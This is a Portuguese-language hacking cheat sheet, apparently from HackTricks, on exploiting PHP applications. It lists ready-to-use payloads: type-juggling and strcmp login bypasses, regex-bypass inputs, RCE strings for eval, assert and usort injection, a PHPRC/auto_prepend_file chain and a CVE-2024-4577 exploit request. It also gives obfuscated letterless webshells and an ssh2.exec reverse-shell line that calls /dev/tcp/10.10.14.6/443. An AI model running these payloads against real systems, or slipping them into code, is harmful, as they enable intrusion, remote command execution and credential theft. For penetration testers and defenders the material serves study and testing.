PHP Truques
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Localização comum de Cookies:
Isto também é válido para cookies do phpMyAdmin.
Cookies:
PHPSESSID
phpMyAdmin
Localizações:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Contornando comparações PHP
Comparações frouxas/Type Juggling ( == )
If == is used in PHP, then there are unexpected cases where the comparison doesn’t behave as expected. This is because “==” only compare values transformed to the same type, if you also want to compare that the type of the compared data is the same you need to use ===.
PHP comparison tables: https://www.php.net/manual/en/types.comparisons.php
.png)
"string" == 0 -> TrueUma string que não começa com um número é igual a um número"0xAAAA" == "43690" -> TrueStrings compostas por números em formato dec ou hex podem ser comparadas a outros números/strings com resultado True se os números forem os mesmos (números em uma string são interpretados como números)"0e3264578" == 0 --> TrueUma string começando com “0e” e seguida de qualquer coisa será igual a 0"0X3264578" == 0X --> TrueUma string começando com “0” seguida por qualquer letra (X pode ser qualquer letra) e seguida por qualquer coisa será igual a 0"0e12334" == "0" --> TrueIsto é muito interessante porque em alguns casos você pode controlar a entrada string de “0” e algum conteúdo que está sendo hashed e comparado a ela. Portanto, se você conseguir fornecer um valor que gere um hash começando com “0e” e sem nenhuma letra, você poderia contornar a comparação. Você pode encontrar already hashed strings com esse formato aqui: https://github.com/spaze/hashes"X" == 0 --> TrueQualquer letra em uma string é igual ao int 0
Mais informações em https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Type Juggling também afeta a função in_array() por padrão (você precisa setar to true o terceiro argumento para fazer uma comparação estrita):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Se essa função for usada para qualquer verificação de autenticação (como checar a password) e o usuário controlar um lado da comparação, ele pode enviar um array vazio em vez de uma string como valor da password (https://example.com/login.php/?username=admin&password[]=) e contornar essa verificação:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
O mesmo erro ocorre com strcasecmp()
Coerção estrita de tipos
Mesmo que === esteja sendo usado, podem haver erros que tornam a comparação vulnerável à coerção de tipos. Por exemplo, se a comparação estiver convertendo os dados para um tipo de objeto diferente antes de comparar:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match() pode ser usado para validar a entrada do usuário (ele verifica se alguma palavra/regex de uma blacklist está presente na entrada do usuário e, se não estiver, o código pode continuar sua execução).
Bypass por nova linha
No entanto, ao delimitar o início da regexppreg_match() ela só verifica a primeira linha da entrada do usuário, então, se de alguma forma você conseguir enviar a entrada em várias linhas, você poderá contornar essa checagem. Exemplo:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Para contornar essa verificação você pode enviar o valor com quebras de linha urlencoded (%0A) ou, se puder enviar dados JSON, enviá-los em várias linhas:
{
"cmd": "cat /etc/passwd"
}
Find an example here: https://ramadistra.dev/fbctf-2019-rceservice
Length error bypass
(Este bypass foi aparentemente testado no PHP 5.2.5 e eu não consegui fazê-lo funcionar no PHP 7.3.15)
Se você conseguir enviar para preg_match() uma entrada muito grande válida, ele não será capaz de processá-la e você poderá bypass a checagem. Por exemplo, se estiver fazendo blacklisting de um JSON você poderia enviar:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
ReDoS Bypass
Truque de: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong
.png)
Em resumo o problema acontece porque as funções preg_* do PHP são construídas sobre a PCRE library. No PCRE certas regular expressions são casadas usando muitas recursive calls, o que consome muito stack space. É possível definir um limite na quantidade de recursions permitidas, mas no PHP esse limite defaults to 100.000 que é maior do que cabe no stack.
This Stackoverflow thread também foi referenciado no post onde o assunto é abordado com mais profundidade. Nossa tarefa ficou clara agora:
Enviar um input que faça o regex realizar 100_000+ recursions, causando SIGSEGV, fazendo a função preg_match() retornar false, assim levando a aplicação a pensar que nosso input não é malicioso, colocando a surpresa no final do payload algo como {system(<verybadcommand>)} para obter SSTI –> RCE –> flag :).
Bom, em termos de regex, na verdade não estamos fazendo 100k “recursions”, mas sim contando “backtracking steps”, que conforme a PHP documentation indica padrão é 1_000_000 (1M) na variável pcre.backtrack_limit.
Para atingir isso, 'X'*500_001 resultará em 1 milhão de backtracking steps (500k forward e 500k backwards):
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Type Juggling for PHP obfuscation
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Execute After Redirect (EAR)
Se o PHP estiver redirecionando para outra página, mas nenhuma função die ou exit for chamada após o header Location ser definido, o PHP continua executando e anexando os dados ao corpo:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Path Traversal and File Inclusion Exploitation
Veja:
Mais truques
- register_globals: No PHP < 4.1.1.1 ou se mal configurado, register_globals pode estar ativo (ou seu comportamento pode estar sendo imitado). Isso implica que em variáveis globais como $_GET se elas tiverem um valor, por exemplo $_GET[“param”]=“1234”, você pode acessá-lo via $param. Portanto, ao enviar parâmetros HTTP você pode sobrescrever variáveis que são usadas dentro do código.
- The PHPSESSION cookies of the same domain are stored in the same place, portanto se dentro de um domínio different cookies are used in different paths você pode fazer com que um caminho accesses the cookie of the path definindo o valor do cookie do outro caminho.
Dessa forma, se both paths access a variable with the same name você pode fazer com que o value of that variable in path1 apply to path2. E então path2 aceitará como válidas as variáveis de path1 (dando ao cookie o nome que corresponde a ele em path2). - Quando você tem os nomes de usuário dos usuários da máquina. Verifique o endereço: /~<USERNAME> para ver se os diretórios php estão ativados.
- Se uma configuração do PHP tiver
register_argc_argv = Onentão parâmetros de query separados por espaços são usados para popular o array de argumentosarray_keys($_SERVER['argv'])como se fossem arguments from the CLI. Isso é interessante porque se essa setting is off, o valor do args array will beNullquando chamado pela web, já que o array de args não será populado. Portanto, se uma página web tentar verificar se está rodando como web ou como ferramenta CLI com uma comparação comoif (empty($_SERVER['argv'])) {um atacante poderia enviar parameters in the GET request like?--configPath=/lalalae ele vai pensar que está rodando como CLI e potencialmente analisar e usar esses argumentos. More info in the original writeup. - LFI and RCE using php wrappers
password_hash/password_verify
Essas funções são tipicamente usadas no PHP para gerar hashes a partir de senhas e para verificar se uma senha está correta comparada com um hash.
Os algoritmos suportados são: PASSWORD_DEFAULT e PASSWORD_BCRYPT (começa com $2y$). Note que PASSWORD_DEFAULT is frequently the same as PASSWORD_BCRYPT. E atualmente, PASSWORD_BCRYPT tem uma size limitation in the input of 72bytes. Portanto, quando você tenta hashear algo maior que 72 bytes com esse algoritmo, apenas os primeiros 72B serão usados:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
Bypass de headers HTTP abusando de erros do PHP
Causando erro após definir headers
From this twitter thread you can see that sending more than 1000 GET params or 1000 POST params or 20 files, PHOP is not going to be setting headers in the response.
Permitindo contornar, por exemplo, headers CSP definidos em códigos como:
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
Preenchendo o corpo antes de definir os cabeçalhos
Se uma página PHP está imprimindo erros e retornando parte do input fornecido pelo usuário, o usuário pode fazer o servidor PHP imprimir algum conteúdo longo o suficiente de modo que, quando ele tentar adicionar os cabeçalhos na resposta, o servidor lance um erro.
No cenário a seguir o atacante fez o servidor lançar erros grandes, e como você pode ver na tela, quando o php tentou modificar as informações de cabeçalho, não conseguiu (por exemplo, o header CSP não foi enviado para o usuário):
.png)
SSRF in PHP functions
Veja a página:
ssh2.exec stream wrapper RCE
When the ssh2 extension is installed (ssh2.so visible under /etc/php*/mods-available/, php -m, or even an FTP-accessible php8.1_conf/ directory), PHP registers ssh2.* wrappers that can be abused anywhere user input is concatenated into fopen()/file_get_contents() targets. An admin-only download helper such as:
$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
é suficiente para executar comandos de shell via SSH no localhost:
GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
- A parte das credenciais pode reutilizar qualquer leaked system password (e.g., from cracked bcrypt hashes).
- O
#final comenta o sufixo do lado do servidor (files/<id>.zip), então apenas seu comando é executado. - Blind RCE é confirmado observando tráfego de saída com
tcpdump -ni tun0 icmpou servindo um HTTP canary.
Substitua o comando por um reverse shell payload depois de validado:
format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#
Como tudo acontece dentro do PHP worker, a conexão TCP se origina no alvo e herda os privilégios da conta injetada (yuri, eric, etc.).
Execução de código
system(“ls”);ls;
shell_exec(“ls”);
Veja isto para mais funções PHP úteis
RCE via preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Para executar o código no argumento “replace” é necessário pelo menos um match. Esta opção do preg_replace foi descontinuada a partir do PHP 5.5.0.
RCE via Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE via Assert()
Essa função dentro do php permite executar código que está escrito em uma string para retornar true ou false (e, dependendo disso, alterar a execução). Normalmente a variável do usuário será inserida no meio de uma string. Por exemplo:assert("strpos($_GET['page']),'..') === false") –> Neste caso, para obter RCE você poderia fazer:
?page=a','NeVeR') === false and system('ls') and strpos('a
Você precisará quebrar a sintaxe do código, inserir seu payload, e então consertá-lo novamente. Você pode usar operações lógicas tais como “and” or “%26%26” or “|”. Observe que “or”, “||” não funcionam porque, se a primeira condição for verdadeira, nosso payload não será executado. Da mesma forma “;” não funciona pois nosso payload não será executado.
Other option is to add to the string the execution of the command: '.highlight_file('.passwd').'
Other option (if you have the internal code) is to modify some variable to alter the execution: $file = "hola"
RCE via usort()
This function is used to sort an array of items using an specific function.
To abuse this function:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
Você também pode usar // para comentar o resto do código.
Para descobrir o número de parênteses que você precisa fechar:
?order=id;}//: recebemos uma mensagem de erro (Parse error: syntax error, unexpected ';'). Provavelmente estão faltando uma ou mais chaves.?order=id);}//: recebemos um aviso. Isso parece correto.?order=id));}//: recebemos uma mensagem de erro (Parse error: syntax error, unexpected ')' i). Provavelmente há parênteses/fechamentos a mais.
RCE via .httaccess
Se você puder enviar um .htaccess, então pode configurar várias coisas e até executar código (configurando que arquivos com extensão .htaccess possam ser executados).
Different .htaccess shells can be found here
RCE via Env Variables
Se você encontrar uma vulnerabilidade que permita modificar env variables in PHP (e outra para enviar arquivos, embora com mais pesquisa talvez isso possa ser contornado), você pode abusar desse comportamento para obter RCE.
LD_PRELOAD: Esta variável de ambiente permite carregar bibliotecas arbitrárias ao executar outros binários (embora neste caso possa não funcionar).PHPRC: Instrui o PHP sobre onde localizar seu arquivo de configuração, geralmente chamadophp.ini. Se você puder enviar seu próprio arquivo de configuração, então usePHPRCpara apontar o PHP para ele. Adicione uma entradaauto_prepend_fileespecificando um segundo arquivo enviado. Esse segundo arquivo contém código normal PHP, que é então executado pelo runtime do PHP antes de qualquer outro código.
- Envie um arquivo PHP contendo nosso shellcode
- Envie um segundo arquivo, contendo uma diretiva
auto_prepend_fileinstruindo o pré-processador do PHP a executar o arquivo que enviamos no passo 1 - Defina a variável
PHPRCpara o arquivo que enviamos no passo 2.
- Obtenha mais informações sobre como executar essa cadeia from the original report.
- PHPRC - outra opção
- Se você não puder enviar arquivos, pode usar no FreeBSD o “arquivo”
/dev/fd/0que contém ostdin, sendo o body da requisição enviada para ostdin: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'- Ou para obter RCE, habilite
allow_url_includee prepend um arquivo com base64 PHP code: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'- Technique from this report.
XAMPP CGI RCE - CVE-2024-4577
O webserver analisa requisições HTTP e as passa para um script PHP executando uma requisição como http://host/cgi.php?foo=bar como php.exe cgi.php foo=bar, o que permite uma injeção de parâmetro. Isso permitiria injetar os seguintes parâmetros para carregar o código PHP a partir do body:
-d allow_url_include=1 -d auto_prepend_file=php://input
Além disso, é possível injetar o parâmetro “-” usando o caractere 0xAD devido à normalização posterior do PHP. Veja o exemplo de exploit em this post:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
PHP Sanitization bypass & Brain Fuck
In this post é possível encontrar ótimas ideias para gerar um código brain fuck PHP com pouquíssimos caracteres permitidos.\ Além disso, também é proposta uma maneira interessante de executar funções que lhes permitiu bypassar várias verificações:
(1)->{system($_GET[chr(97)])}
PHP Análise Estática
Verifique se você pode inserir código em chamadas para estas funções (a partir de here):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
Se você está depurando uma aplicação PHP pode habilitar globalmente a impressão de erros em /etc/php5/apache2/php.ini adicionando display_errors = On e reiniciar o apache: sudo systemctl restart apache2
Desofuscação de código PHP
Você pode usar a web www.unphp.net para desofuscar código php.
PHP Wrappers & Protocols
PHP Wrappers e Protocols podem permitir que você bypass write and read protections em um sistema e comprometê-lo. Para mais informações veja esta página.
Xdebug RCE não autenticado
Se você observar que Xdebug está habilitado na saída de phpconfig() você deve tentar obter RCE via https://github.com/nqxcode/xdebug-exploit
Variáveis variáveis
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE abusando de new $_GET[“a”]($_GET[“b”])
Se em uma página você consegue criar um novo objeto de uma classe arbitrária, pode ser possível obter RCE. Confira a página a seguir para aprender como:
Php Rce Abusing Object Creation New Usd Get A Usd Get B
Executar PHP sem letras
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Usando octal
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
Shellcode XOR simples
De acordo com this writeup , é possível gerar um shellcode simples da seguinte forma:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
Então, se você pode execute arbitrary PHP without numbers and letters, você pode enviar uma request como a seguinte, abusando desse payload para executar arbitrary PHP:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Para uma explicação mais aprofundada confira https://ctf-wiki.org/web/php/php/#preg_match
XOR Shellcode (dentro do eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Semelhante ao Perl
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Referências
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


